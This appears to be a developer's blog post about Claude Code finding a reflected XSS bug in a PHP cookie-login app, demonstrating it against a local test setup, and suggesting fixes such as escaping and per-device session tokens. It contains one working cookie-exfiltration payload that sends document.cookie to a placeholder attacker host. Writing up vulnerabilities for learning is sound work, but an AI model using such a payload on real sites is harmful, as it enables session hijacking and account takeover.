I asked AI (Claude Code) to review the security of my PHP app. Instead of just pointing out issues, it showed me how to actively exploit one- and then how to fix it.

At first, I assumed the vulnerability wasn't very realistic. After testing it end-to-end, I realized that, although unlikely, it could lead to full account takeover.

Code Background

  • I have a simple PHP application with a user login. I store the User ID and and an additional random value as a PHP Cookie, such that if a user returns to the site, they can automatically be re-logged back in.
// if user is NOT logged in, see if the cookie will log them in
if ($USER_ID == 0) {
 
 $userIdFromCookie  = $_COOKIE["userId"]   ?? 0;
 $hashFromCookie    = $_COOKIE["randomHash"]  ?? '';

 if ($userIdFromCookie != 0) {

  $possiblyLogInUser        = json_decode(getUserInfo($db, $userIdFromCookie), true);
  $userRandomValueShouldBe  = $possiblyLogInUser['random'] ?? '';
  
  if ($userRandomValueShouldBe != '' && $hashFromCookie == $userRandomValueShouldBe) {
   setLoginSession($possiblyLogInUser);
   header("Location: /home");
   exit();
  }
 }
}
  • My site had a vulnerability where the raw HTML was rendered by the browser. And if you have these Cookie values, you can become the user.

The Setup

I'm using MAMP, and I set up two hosts:

  • One for the actual app
  • One to simulate the attacker's website

The Exploit

Claude created the PHP code for me, found here on GitHub.

I'll show the contents of this throughout this article. It starts off with this:

None

So once the user is already logged in, they have to then visit the attacker's website, which pulls in info from the site they've logged into. They would have to visit:

https://<therealwebsitedomain>/?notification=<script>fetch('https://<evilattackerwebsite.com>/api/tests/evil.php',{method:'POST',mode:'no-cors',body:document.cookie})</script>

Again, this is rather unlikely that this would happen for my app

When the page loads, the injected <script> runs in the context of my site. It reads document.cookie and silently sends it to the malicious server.

Because the request uses no-cors, the victim never sees anything suspicious.

The instructions AI gave would go from this:

None

To this:

None

As, there would be a file that's created on the attacker's server:

None

The next step of the instructions show what to paste in the browser's console; defining the cookies with the corresponding values that were stored in the database:

None

Sure enough, after pasting that in (in an incognito window) I was signed in as the user! This is no longer just XSS- it's session hijacking.

How To Fix It

Luckily AI also gave me the solution.

The real fix is to prevent XSS entirely by escaping untrusted output. Instead of rendering raw input, it should be encoded before being output to the page.

None

Even with proper escaping, it's best to assume something might slip through.

Setting cookies with the parameters secure and HttpOnly to help limit damage.

And then also:

None

As the part where it was originally printing out the raw HTML was changed:

None

I then asked AI, now that the attacker already has the credentials, what could be done retroactively. The primary suggestion involved having a variation of a "token rotation". Every time the user logs in, update the value in the database. I didn't like this, as people may be using the app from different devices (so it would force them to log-in every time they changed devices).

I got a second opinion, also from AI, and it suggested:

  • Generate a unique session token per login
  • Store multiple active sessions per user (one per device)
  • Expire or revoke tokens as needed

Lesson Learned

What surprised me most wasn't the vulnerability itself, but how easily it turned into a full account takeover once combined with cookie-based authentication.

The takeaway is simple: XSS isn't just about popups: it can break your entire authentication system.